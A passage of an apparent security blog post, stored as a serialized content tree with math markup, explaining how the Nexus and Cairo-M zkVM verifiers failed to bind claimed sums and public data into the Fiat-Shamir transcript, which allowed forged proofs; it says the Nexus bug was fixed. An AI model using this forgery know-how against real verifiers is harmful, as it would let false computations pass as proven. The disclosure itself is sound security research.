#981",{"type":24,"tag":26485,"props":123558,"children":123559},{},[],{"type":24,"tag":85,"props":123561,"children":123563},{"id":123562},"nexus",[123564],{"type":29,"value":114656},{"type":24,"tag":25,"props":123566,"children":123567},{},[123568],{"type":29,"value":123569},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":123571,"children":123572},{},[123573,123575,123580],{"type":29,"value":123574},"Nexus splits verification into ",{"type":24,"tag":213,"props":123576,"children":123577},{},[123578],{"type":29,"value":123579},"components",{"type":29,"value":123581}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":123583,"children":123584},{},[123585,123587,123592],{"type":29,"value":123586},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":135,"props":123588,"children":123590},{"className":123589},[],[123591],{"type":29,"value":121701},{"type":29,"value":123593}," summarizes its net contribution:",{"type":24,"tag":25,"props":123595,"children":123596},{},[123597],{"type":24,"tag":135,"props":123598,"children":123600},{"className":123599},[11705,11706],[123601],{"type":24,"tag":271,"props":123602,"children":123604},{"className":123603},[11711],[123605],{"type":24,"tag":271,"props":123606,"children":123608},{"className":123607,"ariaHidden":5670},[11716],[123609,123705,123954],{"type":24,"tag":271,"props":123610,"children":123612},{"className":123611},[11721],[123613,123617,123626,123631,123692,123696,123701],{"type":24,"tag":271,"props":123614,"children":123616},{"className":123615,"style":101250},[11726],[],{"type":24,"tag":271,"props":123618,"children":123620},{"className":123619},[11732,29],[123621],{"type":24,"tag":271,"props":123622,"children":123624},{"className":123623},[11732],[123625],{"type":29,"value":120930},{"type":24,"tag":271,"props":123627,"children":123629},{"className":123628,"style":99837},[11732],[123630],{"type":29,"value":10818},{"type":24,"tag":271,"props":123632,"children":123634},{"className":123633},[11732],[123635,123644],{"type":24,"tag":271,"props":123636,"children":123638},{"className":123637},[11732,29],[123639],{"type":24,"tag":271,"props":123640,"children":123642},{"className":123641},[11732],[123643],{"type":29,"value":83422},{"type":24,"tag":271,"props":123645,"children":123647},{"className":123646},[11747],[123648],{"type":24,"tag":271,"props":123649,"children":123651},{"className":123650},[11752,29327],[123652,123681],{"type":24,"tag":271,"props":123653,"children":123655},{"className":123654},[11757],[123656,123676],{"type":24,"tag":271,"props":123657,"children":123659},{"className":123658,"style":100366},[11762],[123660],{"type":24,"tag":271,"props":123661,"children":123662},{"style":120967},[123663,123667],{"type":24,"tag":271,"props":123664,"children":123666},{"className":123665,"style":11772},[11771],[],{"type":24,"tag":271,"props":123668,"children":123670},{"className":123669},[11777,11778,11779,11780],[123671],{"type":24,"tag":271,"props":123672,"children":123674},{"className":123673},[11732,29273,11780],[123675],{"type":29,"value":11462},{"type":24,"tag":271,"props":123677,"children":123679},{"className":123678},[29430],[123680],{"type":29,"value":29433},{"type":24,"tag":271,"props":123682,"children":123684},{"className":123683},[11757],[123685],{"type":24,"tag":271,"props":123686,"children":123688},{"className":123687,"style":99920},[11762],[123689],{"type":24,"tag":271,"props":123690,"children":123691},{},[],{"type":24,"tag":271,"props":123693,"children":123695},{"className":123694,"style":11908},[11810],[],{"type":24,"tag":271,"props":123697,"children":123699},{"className":123698},[11913],[123700],{"type":29,"value":762},{"type":24,"tag":271,"props":123702,"children":123704},{"className":123703,"style":11908},[11810],[],{"type":24,"tag":271,"props":123706,"children":123708},{"className":123707},[11721],[123709,123714,123771,123775,123941,123945,123950],{"type":24,"tag":271,"props":123710,"children":123713},{"className":123711,"style":123712},[11726],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":271,"props":123715,"children":123717},{"className":123716},[29309],[123718,123723],{"type":24,"tag":271,"props":123719,"children":123721},{"className":123720,"style":29316},[29309,29314,29315],[123722],{"type":29,"value":115632},{"type":24,"tag":271,"props":123724,"children":123726},{"className":123725},[11747],[123727],{"type":24,"tag":271,"props":123728,"children":123730},{"className":123729},[11752,29327],[123731,123760],{"type":24,"tag":271,"props":123732,"children":123734},{"className":123733},[11757],[123735,123755],{"type":24,"tag":271,"props":123736,"children":123738},{"className":123737,"style":121044},[11762],[123739],{"type":24,"tag":271,"props":123740,"children":123741},{"style":29340},[123742,123746],{"type":24,"tag":271,"props":123743,"children":123745},{"className":123744,"style":11772},[11771],[],{"type":24,"tag":271,"props":123747,"children":123749},{"className":123748},[11777,11778,11779,11780],[123750],{"type":24,"tag":271,"props":123751,"children":123753},{"className":123752,"style":121060},[11732,29273,11780],[123754],{"type":29,"value":16370},{"type":24,"tag":271,"props":123756,"children":123758},{"className":123757},[29430],[123759],{"type":29,"value":29433},{"type":24,"tag":271,"props":123761,"children":123763},{"className":123762},[11757],[123764],{"type":24,"tag":271,"props":123765,"children":123767},{"className":123766,"style":121075},[11762],[123768],{"type":24,"tag":271,"props":123769,"children":123770},{},[],{"type":24,"tag":271,"props":123772,"children":123774},{"className":123773,"style":11849},[11810],[],{"type":24,"tag":271,"props":123776,"children":123778},{"className":123777},[11732],[123779,123783,123937],{"type":24,"tag":271,"props":123780,"children":123782},{"className":123781},[29402,120355],[],{"type":24,"tag":271,"props":123784,"children":123786},{"className":123785},[120360],[123787],{"type":24,"tag":271,"props":123788,"children":123790},{"className":123789},[11752,29327],[123791,123925],{"type":24,"tag":271,"props":123792,"children":123794},{"className":123793},[11757],[123795,123920],{"type":24,"tag":271,"props":123796,"children":123798},{"className":123797,"style":120373},[11762],[123799,123889,123900],{"type":24,"tag":271,"props":123800,"children":123801},{"style":120377},[123802,123806],{"type":24,"tag":271,"props":123803,"children":123805},{"className":123804,"style":119008},[11771],[],{"type":24,"tag":271,"props":123807,"children":123809},{"className":123808},[11777,11778,11779,11780],[123810],{"type":24,"tag":271,"props":123811,"children":123813},{"className":123812},[11732,11780],[123814,123819,123824],{"type":24,"tag":271,"props":123815,"children":123817},{"className":123816,"style":120394},[11732,29273,11780],[123818],{"type":29,"value":120397},{"type":24,"tag":271,"props":123820,"children":123822},{"className":123821},[11816,11780],[123823],{"type":29,"value":11791},{"type":24,"tag":271,"props":123825,"children":123827},{"className":123826},[11732,11780],[123828,123838],{"type":24,"tag":271,"props":123829,"children":123831},{"className":123830},[11732,29,11780],[123832],{"type":24,"tag":271,"props":123833,"children":123835},{"className":123834},[11732,11780],[123836],{"type":29,"value":123837},"produced",{"type":24,"tag":271,"props":123839,"children":123841},{"className":123840},[11747],[123842],{"type":24,"tag":271,"props":123843,"children":123845},{"className":123844},[11752,29327],[123846,123877],{"type":24,"tag":271,"props":123847,"children":123849},{"className":123848},[11757],[123850,123872],{"type":24,"tag":271,"props":123851,"children":123854},{"className":123852,"style":123853},[11762],"height:0.2052em;",[123855],{"type":24,"tag":271,"props":123856,"children":123858},{"style":123857},"top:-2.2341em;margin-right:0.0714em;",[123859,123863],{"type":24,"tag":271,"props":123860,"children":123862},{"className":123861,"style":115697},[11771],[],{"type":24,"tag":271,"props":123864,"children":123866},{"className":123865},[11777,115702,115703,11780],[123867],{"type":24,"tag":271,"props":123868,"children":123870},{"className":123869,"style":121060},[11732,29273,11780],[123871],{"type":29,"value":16370},{"type":24,"tag":271,"props":123873,"children":123875},{"className":123874},[29430],[123876],{"type":29,"value":29433},{"type":24,"tag":271,"props":123878,"children":123880},{"className":123879},[11757],[123881],{"type":24,"tag":271,"props":123882,"children":123885},{"className":123883,"style":123884},[11762],"height:0.4048em;",[123886],{"type":24,"tag":271,"props":123887,"children":123888},{},[],{"type":24,"tag":271,"props":123890,"children":123891},{"style":120410},[123892,123896],{"type":24,"tag":271,"props":123893,"children":123895},{"className":123894,"style":119008},[11771],[],{"type":24,"tag":271,"props":123897,"children":123899},{"className":123898,"style":120420},[120419],[],{"type":24,"tag":271,"props":123901,"children":123902},{"style":120424},[123903,123907],{"type":24,"tag":271,"props":123904,"children":123906},{"className":123905,"style":119008},[11771],[],{"type":24,"tag":271,"props":123908,"children":123910},{"className":123909},[11777,11778,11779,11780],[123911],{"type":24,"tag":271,"props":123912,"children":123914},{"className":123913},[11732,11780],[123915],{"type":24,"tag":271,"props":123916,"children":123918},{"className":123917},[11732,11780],[123919],{"type":29,"value":156},{"type":24,"tag":271,"props":123921,"children":123923},{"className":123922},[29430],[123924],{"type":29,"value":29433},{"type":24,"tag":271,"props":123926,"children":123928},{"className":123927},[11757],[123929],{"type":24,"tag":271,"props":123930,"children":123933},{"className":123931,"style":123932},[11762],"height:0.6283em;",[123934],{"type":24,"tag":271,"props":123935,"children":123936},{},[],{"type":24,"tag":271,"props":123938,"children":123940},{"className":123939},[29424,120355],[],{"type":24,"tag":271,"props":123942,"children":123944},{"className":123943,"style":11811},[11810],[],{"type":24,"tag":271,"props":123946,"children":123948},{"className":123947},[11816],[123949],{"type":29,"value":11791},{"type":24,"tag":271,"props":123951,"children":123953},{"className":123952,"style":11811},[11810],[],{"type":24,"tag":271,"props":123955,"children":123957},{"className":123956},[11721],[123958,123962,124019,124023],{"type":24,"tag":271,"props":123959,"children":123961},{"className":123960,"style":121269},[11726],[],{"type":24,"tag":271,"props":123963,"children":123965},{"className":123964},[29309],[123966,123971],{"type":24,"tag":271,"props":123967,"children":123969},{"className":123968,"style":29316},[29309,29314,29315],[123970],{"type":29,"value":115632},{"type":24,"tag":271,"props":123972,"children":123974},{"className":123973},[11747],[123975],{"type":24,"tag":271,"props":123976,"children":123978},{"className":123977},[11752,29327],[123979,124008],{"type":24,"tag":271,"props":123980,"children":123982},{"className":123981},[11757],[123983,124003],{"type":24,"tag":271,"props":123984,"children":123986},{"className":123985,"style":120509},[11762],[123987],{"type":24,"tag":271,"props":123988,"children":123989},{"style":29340},[123990,123994],{"type":24,"tag":271,"props":123991,"children":123993},{"className":123992,"style":11772},[11771],[],{"type":24,"tag":271,"props":123995,"children":123997},{"className":123996},[11777,11778,11779,11780],[123998],{"type":24,"tag":271,"props":123999,"children":124001},{"className":124000,"style":101266},[11732,29273,11780],[124002],{"type":29,"value":95474},{"type":24,"tag":271,"props":124004,"children":124006},{"className":124005},[29430],[124007],{"type":29,"value":29433},{"type":24,"tag":271,"props":124009,"children":124011},{"className":124010},[11757],[124012],{"type":24,"tag":271,"props":124013,"children":124015},{"className":124014,"style":121324},[11762],[124016],{"type":24,"tag":271,"props":124017,"children":124018},{},[],{"type":24,"tag":271,"props":124020,"children":124022},{"className":124021,"style":11849},[11810],[],{"type":24,"tag":271,"props":124024,"children":124026},{"className":124025},[11732],[124027,124031,124181],{"type":24,"tag":271,"props":124028,"children":124030},{"className":124029},[29402,120355],[],{"type":24,"tag":271,"props":124032,"children":124034},{"className":124033},[120360],[124035],{"type":24,"tag":271,"props":124036,"children":124038},{"className":124037},[11752,29327],[124039,124170],{"type":24,"tag":271,"props":124040,"children":124042},{"className":124041},[11757],[124043,124165],{"type":24,"tag":271,"props":124044,"children":124046},{"className":124045,"style":120373},[11762],[124047,124134,124145],{"type":24,"tag":271,"props":124048,"children":124049},{"style":120377},[124050,124054],{"type":24,"tag":271,"props":124051,"children":124053},{"className":124052,"style":119008},[11771],[],{"type":24,"tag":271,"props":124055,"children":124057},{"className":124056},[11777,11778,11779,11780],[124058],{"type":24,"tag":271,"props":124059,"children":124061},{"className":124060},[11732,11780],[124062,124067,124072],{"type":24,"tag":271,"props":124063,"children":124065},{"className":124064,"style":120394},[11732,29273,11780],[124066],{"type":29,"value":120397},{"type":24,"tag":271,"props":124068,"children":124070},{"className":124069},[11816,11780],[124071],{"type":29,"value":11791},{"type":24,"tag":271,"props":124073,"children":124075},{"className":124074},[11732,11780],[124076,124086],{"type":24,"tag":271,"props":124077,"children":124079},{"className":124078},[11732,29,11780],[124080],{"type":24,"tag":271,"props":124081,"children":124083},{"className":124082},[11732,11780],[124084],{"type":29,"value":124085},"consumed",{"type":24,"tag":271,"props":124087,"children":124089},{"className":124088},[11747],[124090],{"type":24,"tag":271,"props":124091,"children":124093},{"className":124092},[11752,29327],[124094,124123],{"type":24,"tag":271,"props":124095,"children":124097},{"className":124096},[11757],[124098,124118],{"type":24,"tag":271,"props":124099,"children":124101},{"className":124100,"style":119169},[11762],[124102],{"type":24,"tag":271,"props":124103,"children":124104},{"style":121414},[124105,124109],{"type":24,"tag":271,"props":124106,"children":124108},{"className":124107,"style":115697},[11771],[],{"type":24,"tag":271,"props":124110,"children":124112},{"className":124111},[11777,115702,115703,11780],[124113],{"type":24,"tag":271,"props":124114,"children":124116},{"className":124115,"style":101266},[11732,29273,11780],[124117],{"type":29,"value":95474},{"type":24,"tag":271,"props":124119,"children":124121},{"className":124120},[29430],[124122],{"type":29,"value":29433},{"type":24,"tag":271,"props":124124,"children":124126},{"className":124125},[11757],[124127],{"type":24,"tag":271,"props":124128,"children":124130},{"className":124129,"style":121441},[11762],[124131],{"type":24,"tag":271,"props":124132,"children":124133},{},[],{"type":24,"tag":271,"props":124135,"children":124136},{"style":120410},[124137,124141],{"type":24,"tag":271,"props":124138,"children":124140},{"className":124139,"style":119008},[11771],[],{"type":24,"tag":271,"props":124142,"children":124144},{"className":124143,"style":120420},[120419],[],{"type":24,"tag":271,"props":124146,"children":124147},{"style":120424},[124148,124152],{"type":24,"tag":271,"props":124149,"children":124151},{"className":124150,"style":119008},[11771],[],{"type":24,"tag":271,"props":124153,"children":124155},{"className":124154},[11777,11778,11779,11780],[124156],{"type":24,"tag":271,"props":124157,"children":124159},{"className":124158},[11732,11780],[124160],{"type":24,"tag":271,"props":124161,"children":124163},{"className":124162},[11732,11780],[124164],{"type":29,"value":156},{"type":24,"tag":271,"props":124166,"children":124168},{"className":124167},[29430],[124169],{"type":29,"value":29433},{"type":24,"tag":271,"props":124171,"children":124173},{"className":124172},[11757],[124174],{"type":24,"tag":271,"props":124175,"children":124177},{"className":124176,"style":121489},[11762],[124178],{"type":24,"tag":271,"props":124179,"children":124180},{},[],{"type":24,"tag":271,"props":124182,"children":124184},{"className":124183},[29424,120355],[],{"type":24,"tag":25,"props":124186,"children":124187},{},[124188,124190,124195],{"type":29,"value":124189},"All ",{"type":24,"tag":135,"props":124191,"children":124193},{"className":124192},[],[124194],{"type":29,"value":121701},{"type":29,"value":124196}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":124198,"children":124199},{},[124200,124202,124207],{"type":29,"value":124201},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":213,"props":124203,"children":124204},{},[124205],{"type":29,"value":124206},"OODS (Out-of-Domain Sampling)",{"type":29,"value":124208}," test.",{"type":24,"tag":25,"props":124210,"children":124211},{},[124212],{"type":24,"tag":213,"props":124213,"children":124214},{},[124215],{"type":29,"value":122253},{"type":24,"tag":261,"props":124217,"children":124219},{"code":124218},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[124220],{"type":24,"tag":135,"props":124221,"children":124222},{"__ignoreMap":7},[124223],{"type":29,"value":124218},{"type":24,"tag":25,"props":124225,"children":124226},{},[124227,124229,124234],{"type":29,"value":124228},"The",{"type":24,"tag":135,"props":124230,"children":124232},{"className":124231},[],[124233],{"type":29,"value":121701},{"type":29,"value":124235}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":124237,"children":124238},{},[124239],{"type":24,"tag":74,"props":124240,"children":124243},{"alt":124241,"src":124242},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":124245,"children":124246},{},[124247,124249,124258],{"type":29,"value":124248},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":213,"props":124250,"children":124251},{},[124252,124253],{"type":29,"value":118708},{"type":24,"tag":135,"props":124254,"children":124256},{"className":124255},[],[124257],{"type":29,"value":121701},{"type":29,"value":12210},{"type":24,"tag":25,"props":124260,"children":124261},{},[124262],{"type":29,"value":124263},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":124265,"children":124266},{},[124267],{"type":24,"tag":135,"props":124268,"children":124270},{"className":124269},[11705,11706],[124271],{"type":24,"tag":271,"props":124272,"children":124274},{"className":124273},[11711],[124275],{"type":24,"tag":271,"props":124276,"children":124278},{"className":124277,"ariaHidden":5670},[11716],[124279,124320,124459],{"type":24,"tag":271,"props":124280,"children":124282},{"className":124281},[11721],[124283,124287,124292,124297,124302,124307,124311,124316],{"type":24,"tag":271,"props":124284,"children":124286},{"className":124285,"style":11831},[11726],[],{"type":24,"tag":271,"props":124288,"children":124290},{"className":124289,"style":29805},[11732,29273],[124291],{"type":29,"value":123066},{"type":24,"tag":271,"props":124293,"children":124295},{"className":124294},[29402],[124296],{"type":29,"value":606},{"type":24,"tag":271,"props":124298,"children":124300},{"className":124299},[11732,29273],[124301],{"type":29,"value":6034},{"type":24,"tag":271,"props":124303,"children":124305},{"className":124304},[29424],[124306],{"type":29,"value":2693},{"type":24,"tag":271,"props":124308,"children":124310},{"className":124309,"style":11908},[11810],[],{"type":24,"tag":271,"props":124312,"children":124314},{"className":124313},[11913],[124315],{"type":29,"value":762},{"type":24,"tag":271,"props":124317,"children":124319},{"className":124318,"style":11908},[11810],[],{"type":24,"tag":271,"props":124321,"children":124323},{"className":124322},[11721],[124324,124328,124385,124389,124446,124450,124455],{"type":24,"tag":271,"props":124325,"children":124327},{"className":124326,"style":122470},[11726],[],{"type":24,"tag":271,"props":124329,"children":124331},{"className":124330},[29309],[124332,124337],{"type":24,"tag":271,"props":124333,"children":124335},{"className":124334,"style":29316},[29309,29314,29315],[124336],{"type":29,"value":115632},{"type":24,"tag":271,"props":124338,"children":124340},{"className":124339},[11747],[124341],{"type":24,"tag":271,"props":124342,"children":124344},{"className":124343},[11752,29327],[124345,124374],{"type":24,"tag":271,"props":124346,"children":124348},{"className":124347},[11757],[124349,124369],{"type":24,"tag":271,"props":124350,"children":124352},{"className":124351,"style":121044},[11762],[124353],{"type":24,"tag":271,"props":124354,"children":124355},{"style":29340},[124356,124360],{"type":24,"tag":271,"props":124357,"children":124359},{"className":124358,"style":11772},[11771],[],{"type":24,"tag":271,"props":124361,"children":124363},{"className":124362},[11777,11778,11779,11780],[124364],{"type":24,"tag":271,"props":124365,"children":124367},{"className":124366},[11732,29273,11780],[124368],{"type":29,"value":11462},{"type":24,"tag":271,"props":124370,"children":124372},{"className":124371},[29430],[124373],{"type":29,"value":29433},{"type":24,"tag":271,"props":124375,"children":124377},{"className":124376},[11757],[124378],{"type":24,"tag":271,"props":124379,"children":124381},{"className":124380,"style":121324},[11762],[124382],{"type":24,"tag":271,"props":124383,"children":124384},{},[],{"type":24,"tag":271,"props":124386,"children":124388},{"className":124387,"style":11849},[11810],[],{"type":24,"tag":271,"props":124390,"children":124392},{"className":124391},[11732],[124393,124398],{"type":24,"tag":271,"props":124394,"children":124396},{"className":124395,"style":121925},[11732,29273],[124397],{"type":29,"value":121928},{"type":24,"tag":271,"props":124399,"children":124401},{"className":124400},[11747],[124402],{"type":24,"tag":271,"props":124403,"children":124405},{"className":124404},[11752,29327],[124406,124435],{"type":24,"tag":271,"props":124407,"children":124409},{"className":124408},[11757],[124410,124430],{"type":24,"tag":271,"props":124411,"children":124413},{"className":124412,"style":100366},[11762],[124414],{"type":24,"tag":271,"props":124415,"children":124416},{"style":122560},[124417,124421],{"type":24,"tag":271,"props":124418,"children":124420},{"className":124419,"style":11772},[11771],[],{"type":24,"tag":271,"props":124422,"children":124424},{"className":124423},[11777,11778,11779,11780],[124425],{"type":24,"tag":271,"props":124426,"children":124428},{"className":124427},[11732,29273,11780],[124429],{"type":29,"value":11462},{"type":24,"tag":271,"props":124431,"children":124433},{"className":124432},[29430],[124434],{"type":29,"value":29433},{"type":24,"tag":271,"props":124436,"children":124438},{"className":124437},[11757],[124439],{"type":24,"tag":271,"props":124440,"children":124442},{"className":124441,"style":99920},[11762],[124443],{"type":24,"tag":271,"props":124444,"children":124445},{},[],{"type":24,"tag":271,"props":124447,"children":124449},{"className":124448,"style":11811},[11810],[],{"type":24,"tag":271,"props":124451,"children":124453},{"className":124452},[11816],[124454],{"type":29,"value":118099},{"type":24,"tag":271,"props":124456,"children":124458},{"className":124457,"style":11811},[11810],[],{"type":24,"tag":271,"props":124460,"children":124462},{"className":124461},[11721],[124463,124467,124529,124534,124539],{"type":24,"tag":271,"props":124464,"children":124466},{"className":124465,"style":11831},[11726],[],{"type":24,"tag":271,"props":124468,"children":124470},{"className":124469},[11732],[124471,124481],{"type":24,"tag":271,"props":124472,"children":124474},{"className":124473},[11732,29],[124475],{"type":24,"tag":271,"props":124476,"children":124478},{"className":124477},[11732],[124479],{"type":29,"value":124480},"constraint",{"type":24,"tag":271,"props":124482,"children":124484},{"className":124483},[11747],[124485],{"type":24,"tag":271,"props":124486,"children":124488},{"className":124487},[11752,29327],[124489,124518],{"type":24,"tag":271,"props":124490,"children":124492},{"className":124491},[11757],[124493,124513],{"type":24,"tag":271,"props":124494,"children":124496},{"className":124495,"style":100366},[11762],[124497],{"type":24,"tag":271,"props":124498,"children":124499},{"style":120967},[124500,124504],{"type":24,"tag":271,"props":124501,"children":124503},{"className":124502,"style":11772},[11771],[],{"type":24,"tag":271,"props":124505,"children":124507},{"className":124506},[11777,11778,11779,11780],[124508],{"type":24,"tag":271,"props":124509,"children":124511},{"className":124510},[11732,29273,11780],[124512],{"type":29,"value":11462},{"type":24,"tag":271,"props":124514,"children":124516},{"className":124515},[29430],[124517],{"type":29,"value":29433},{"type":24,"tag":271,"props":124519,"children":124521},{"className":124520},[11757],[124522],{"type":24,"tag":271,"props":124523,"children":124525},{"className":124524,"style":99920},[11762],[124526],{"type":24,"tag":271,"props":124527,"children":124528},{},[],{"type":24,"tag":271,"props":124530,"children":124532},{"className":124531},[29402],[124533],{"type":29,"value":606},{"type":24,"tag":271,"props":124535,"children":124537},{"className":124536},[11732,29273],[124538],{"type":29,"value":6034},{"type":24,"tag":271,"props":124540,"children":124542},{"className":124541},[29424],[124543],{"type":29,"value":2693},{"type":24,"tag":25,"props":124545,"children":124546},{},[124547,124549,124554,124556,124561],{"type":29,"value":124548},"Since each constraint is linear in its ",{"type":24,"tag":135,"props":124550,"children":124552},{"className":124551},[],[124553],{"type":29,"value":121701},{"type":29,"value":124555},", the overall composition polynomial is linear in all ",{"type":24,"tag":135,"props":124557,"children":124559},{"className":124558},[],[124560],{"type":29,"value":121701},{"type":29,"value":124562}," values.",{"type":24,"tag":25,"props":124564,"children":124565},{},[124566,124568],{"type":29,"value":124567},"The verifier checks ",{"type":24,"tag":135,"props":124569,"children":124571},{"className":124570},[11705,11706],[124572],{"type":24,"tag":271,"props":124573,"children":124575},{"className":124574},[11711],[124576],{"type":24,"tag":271,"props":124577,"children":124579},{"className":124578,"ariaHidden":5670},[11716],[124580,124641],{"type":24,"tag":271,"props":124581,"children":124583},{"className":124582},[11721],[124584,124588,124593,124598,124608,124613,124623,124628,124632,124637],{"type":24,"tag":271,"props":124585,"children":124587},{"className":124586,"style":99779},[11726],[],{"type":24,"tag":271,"props":124589,"children":124591},{"className":124590,"style":29805},[11732,29273],[124592],{"type":29,"value":123066},{"type":24,"tag":271,"props":124594,"children":124596},{"className":124595},[29402],[124597],{"type":29,"value":606},{"type":24,"tag":271,"props":124599,"children":124601},{"className":124600},[11732,29],[124602],{"type":24,"tag":271,"props":124603,"children":124605},{"className":124604},[11732],[124606],{"type":29,"value":124607},"oods",{"type":24,"tag":271,"props":124609,"children":124611},{"className":124610,"style":99837},[11732],[124612],{"type":29,"value":10818},{"type":24,"tag":271,"props":124614,"children":124616},{"className":124615},[11732,29],[124617],{"type":24,"tag":271,"props":124618,"children":124620},{"className":124619},[11732],[124621],{"type":29,"value":124622},"point",{"type":24,"tag":271,"props":124624,"children":124626},{"className":124625},[29424],[124627],{"type":29,"value":2693},{"type":24,"tag":271,"props":124629,"children":124631},{"className":124630,"style":11908},[11810],[],{"type":24,"tag":271,"props":124633,"children":124635},{"className":124634},[11913],[124636],{"type":29,"value":762},{"type":24,"tag":271,"props":124638,"children":124640},{"className":124639,"style":11908},[11810],[],{"type":24,"tag":271,"props":124642,"children":124644},{"className":124643},[11721],[124645,124649],{"type":24,"tag":271,"props":124646,"children":124648},{"className":124647,"style":121892},[11726],[],{"type":24,"tag":271,"props":124650,"children":124652},{"className":124651},[11732,29],[124653],{"type":24,"tag":271,"props":124654,"children":124656},{"className":124655},[11732],[124657],{"type":29,"value":123391},{"type":24,"tag":25,"props":124659,"children":124660},{},[124661,124663,124668,124670,124675],{"type":29,"value":124662},"With ",{"type":24,"tag":135,"props":124664,"children":124666},{"className":124665},[],[124667],{"type":29,"value":121701},{"type":29,"value":124669}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":135,"props":124671,"children":124673},{"className":124672},[],[124674],{"type":29,"value":121701},{"type":29,"value":124676}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":124678,"children":124679},{},[124680,124684,124686],{"type":24,"tag":213,"props":124681,"children":124682},{},[124683],{"type":29,"value":123547},{"type":29,"value":124685}," Fixed on October 24, 2025 via ",{"type":24,"tag":32,"props":124687,"children":124690},{"href":124688,"rel":124689},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[36],[124691],{"type":29,"value":124692},"PR #503",{"type":24,"tag":26485,"props":124694,"children":124695},{},[],{"type":24,"tag":85,"props":124697,"children":124699},{"id":124698},"cairo-m-kakarot-labs",[124700],{"type":29,"value":124701},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":124703,"children":124704},{},[124705],{"type":29,"value":124706},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":124708,"children":124709},{},[124710],{"type":29,"value":124711},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":124713,"children":124714},{},[124715],{"type":24,"tag":213,"props":124716,"children":124717},{},[124718],{"type":29,"value":122253},{"type":24,"tag":261,"props":124720,"children":124722},{"code":124721},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[124723],{"type":24,"tag":135,"props":124724,"children":124725},{"__ignoreMap":7},[124726],{"type":29,"value":124721},{"type":24,"tag":25,"props":124728,"children":124729},{},[124730],{"type":24,"tag":213,"props":124731,"children":124732},{},[124733],{"type":29,"value":122269},{"type":24,"tag":25,"props":124735,"children":124736},{},[124737],{"type":24,"tag":74,"props":124738,"children":124741},{"alt":124739,"src":124740},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":124743,"children":124744},{},[124745,124747,124753],{"type":29,"value":124746},"Lookup challenges are derived without ",{"type":24,"tag":135,"props":124748,"children":124750},{"className":124749},[],[124751],{"type":29,"value":124752},"public_data",{"type":29,"value":124754}," being mixed into the transcript.",{"type":24,"tag":25,"props":124756,"children":124757},{},[124758,124759,124764,124766,124771],{"type":29,"value":1422},{"type":24,"tag":135,"props":124760,"children":124762},{"className":124761},[],[124763],{"type":29,"value":124752},{"type":29,"value":124765}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":10648,"props":124767,"children":124768},{},[124769],{"type":29,"value":124770},"denominators",{"type":29,"value":124772}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":124774,"children":124775},{},[124776],{"type":24,"tag":135,"props":124777,"children":124779},{"className":124778},[11705,11706],[124780],{"type":24,"tag":271,"props":124781,"children":124783},{"className":124782},[11711],[124784],{"type":24,"tag":271,"props":124785,"children":124787},{"className":124786,"ariaHidden":5670},[11716],[124788,124848,124894,124940],{"type":24,"tag":271,"props":124789,"children":124791},{"className":124790},[11721],[124792,124796,124802,124807,124816,124821,124830,124835,124839,124844],{"type":24,"tag":271,"props":124793,"children":124795},{"className":124794,"style":99779},[11726],[],{"type":24,"tag":271,"props":124797,"children":124799},{"className":124798},[11732,29273],[124800],{"type":29,"value":124801},"L",{"type":24,"tag":271,"props":124803,"children":124805},{"className":124804},[29402],[124806],{"type":29,"value":606},{"type":24,"tag":271,"props":124808,"children":124810},{"className":124809},[11732,29],[124811],{"type":24,"tag":271,"props":124812,"children":124814},{"className":124813},[11732],[124815],{"type":29,"value":68461},{"type":24,"tag":271,"props":124817,"children":124819},{"className":124818,"style":99837},[11732],[124820],{"type":29,"value":10818},{"type":24,"tag":271,"props":124822,"children":124824},{"className":124823},[11732,29],[124825],{"type":24,"tag":271,"props":124826,"children":124828},{"className":124827},[11732],[124829],{"type":29,"value":8590},{"type":24,"tag":271,"props":124831,"children":124833},{"className":124832},[29424],[124834],{"type":29,"value":2693},{"type":24,"tag":271,"props":124836,"children":124838},{"className":124837,"style":11811},[11810],[],{"type":24,"tag":271,"props":124840,"children":124842},{"className":124841},[11816],[124843],{"type":29,"value":1012},{"type":24,"tag":271,"props":124845,"children":124847},{"className":124846,"style":11811},[11810],[],{"type":24,"tag":271,"props":124849,"children":124851},{"className":124850},[11721],[124852,124856,124866,124871,124881,124885,124890],{"type":24,"tag":271,"props":124853,"children":124855},{"className":124854,"style":99779},[11726],[],{"type":24,"tag":271,"props":124857,"children":124859},{"className":124858},[11732,29],[124860],{"type":24,"tag":271,"props":124861,"children":124863},{"className":124862},[11732],[124864],{"t